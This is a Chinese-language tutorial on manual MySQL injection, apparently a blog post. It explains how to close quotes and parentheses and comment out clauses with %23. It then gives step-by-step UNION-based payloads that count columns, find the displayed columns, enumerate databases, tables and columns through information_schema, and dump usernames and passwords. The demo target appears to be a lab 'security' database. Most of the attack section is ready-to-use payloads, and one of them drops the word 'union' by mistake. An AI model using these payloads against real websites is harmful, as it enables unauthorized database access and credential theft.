mysql的注入,關鍵是要找到注入點,對注入點進行處理,該閉合的引號,括號等要先進行閉合,然后注釋掉多余的語句
一、稍微總結下幾種閉合方法:
一般來說,程序員在書寫select語句時,會對傳入的變量進行一些處理,常見的有如下幾種,這里以php為例,假設傳輸進來的變量為‘$id‘’,其他后端語言也相同。
select * from tables where id=$id; #這種情況下,$id變量多為數字型 不需要閉合符號,可以直接注入,但如果系統做了只能傳入數字型的判斷,就無法注入 select * from tables where id='$id'; #這種情況下,$id變量多為字符型 需要閉合單引號,可以用?id=1'這種形式閉合 select * from tables where id="$id"; #這種情況下,$id變量多為字符型 需要閉合雙引號,可以用?id=1"這種形式閉合 select * from tables where id=($id); #這種情況下,$id變量多為數字型 需要閉合括號,可以用?id=1)這種形式閉合 select * from tables where id=('$id'); #這種情況下,$id變量多為字符型 需要同時閉合單引號和括號,可以用?id=1')這種形式閉合 select * from tables where id=("$id"); #這種情況下,$id變量多為字符型 需要同時閉合雙引號和括號,可以用?id=1")這種形式閉合 select * from tables where id=(('$id')); #這種情況下,$id變量多為字符型 需要同時閉合單引號和兩層括號,可以用?id=1'))這種形式閉合
有些語句還有limit子句,如select * from tables where id='$id' limit 0,1;,我們可以通過上面提到的方法先閉合單引號,然后用%23,即注釋符注釋掉后面的語句,具體寫法如下:?id=1'%23;即可閉合輸出正確的語句
*注:這里只列舉幾種常見的寫法,可以結合實際情況,進行閉合符號,沒有什么固定的方式,但最終達到一個目的就好了,就是閉合語句中可能有的符號,注釋掉我們不需要或者可能會限制我們繼續注入的部分。使得我們注入這些閉合原有語句的符號后,得到的語句還是正確並且可被執行的。
二、手工注入
第一步:找到注入點
在變量可控的部分加入一些符號,查看頁面是否正常,舉個例子:
有這么一個網站www.example.com/index.php?id=1
可以看到,這里的id變量是用戶可控的,可以在id=1后加一個單引號,變成id=1' 。頁面如果報錯多了一個單引號,那么說明可能存在注入點。
也可以在id=1后通過and符號多增加多個判斷,如果‘id=1 and 1=1’頁面正常,‘id=1 and 1=2’時頁面不正常,則這個頁面邊可能存在注入。
這里為什么一直說可能呢?因為有些頁面可能在返回結果出做過濾,雖然你這里帶入數據庫是可以被查詢的,但無法返回,是否可以利用需要結合具體情況對待,也有可能是被重定向進入到一個蜜罐中,故意放行,捕獲入侵行為,但這個一般不會碰到。
第二步:就是閉合語句
參照最開始提出的幾種閉合方法,對語句進行閉合。這里不再贅述,這里特別說一下注釋掉不需要語句的問題。
如果在第一步的數據庫報錯中出現了limit附近的語法錯誤,一般來說,原有語句中的這個limit我們是無法利用的,多半可能會導致我們的閉合無法完成,而且為了后續便於我們遍歷數據庫,我們需要注入一個我們可控的limit子句,所以需要注釋掉原有語句的limit子句,防止沖突。可以使用%23(#),--%20 %23這些數據庫注釋符號,進行注釋。舉個例子:
有這么一個網站:www.example.com/index.php?id=1
他在數據中的查詢語句是select * from table where id='$id' limit 0,1;
那么我們注入的語句就可以是?id=1' %23
這個時候,帶入到數據庫查詢的語句就變成了select * from table where id='$id' #' limit 0,1;
#會把后面的語句注釋掉,然后我們得到實際執行的語句就成了select * from table where id='$id';
還要說一下,我們在注入的時候,為什么使用的%23而不是#呢,因為由於編碼的問題,在瀏覽器中直接提交#會變成空,所以我們使用url編碼后的#,即%23,當傳輸到后端時,后端語言會對它自動解碼成#,才能夠成功帶入數據庫查詢。
第三步:經過前面兩步,我們已經通過閉合和注釋,構造出了一段空白區域,這段空白區域可以使得我們注入查詢語句並得以帶入執行。
前兩步的工作非常重要,如果不做前面兩步,或者前面兩步做不好,在這一步時,你就還要去調整語句,那么一長串的報錯,會很奔潰,所以我特別推薦,先去做前兩步,使得語句該閉合的閉合,該注釋的注釋,那么注入的閉合符號和注釋符號之間就是我們的注入地帶。會為接下來的步驟省去很多精力。
接下來還是以www.example.com/index.php?id=1,在數據查詢語句為select * from table where id='$id' limit 0,1;作為示例。
(1)先通過order by 子句判斷有幾個字段。
payload:?id=1' order by n %23
如果n為3時頁面正常,n為4時頁面不正常,則可以判斷有三個字段。這里就假設我們得到的n為3,繼續舉例。
(2)通過and 1=2 union select 1,2,3……,n聯合查詢判斷顯示字段是哪些
payload:?id=1' and 1=2 union select 1,2,3……n
#這里的n為我們上面通過order by n測試出來的那個值,這里我們取3。所以實際注入時就是?id=1' and 1=2 select 1,2,3
提交后,可以看到頁面中出現可以被顯示的字段編號,我們通過在響應位置替換成我們需要的查詢字段和表就可以,如這里,我注入出來的是2和3位置可以被注入,也就是接下來所有注入的內容更都需要替換這里select語句中的2和3
(3)暴出當前庫和版本
payload:?id=1' and 1=2 union select 1,database(),version() %23
(4)暴出其他數據庫
payload:?id=1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,1%23
通過調整limit即可遍歷出所有的數據庫,調整方法為limit 0,1;limit 1,2;limit 2,3……直到出現錯誤或異常
(5)暴對應數據庫的數據表
payload:?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=數據庫名的十六進制 limit 0,1%23
這里我用當前數據庫來做演示,即security庫
遍歷也是通過調整limit來實現的,方法同上
(6)暴對應數據庫、數據表的各個字段
payload:?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=庫名十六進制 and table_name=表名十六進制 limit 0,1%23
這里我用security庫和security中的users表來做演示
遍歷也是通過調整limit來實現的,方法同(4)
(7)暴數據,也就是我們常說的脫庫
payload:?id=1' and 1=2 union select 1,字段名,3 from 庫名.表名 limit 0,1%23
這里由於2和3位都是可用的,所以我可以在兩個位同時顯示兩個字段。這里選用了security庫的users表,我們只關注用戶名和密碼字段,所以只暴這兩個字段即可
遍歷也是通過調整limit來實現的,方法同(4)
參考文章:
https://www.waitalone.cn/mysql-injection-summary.html
http://www.jb51.net/hack/41493.html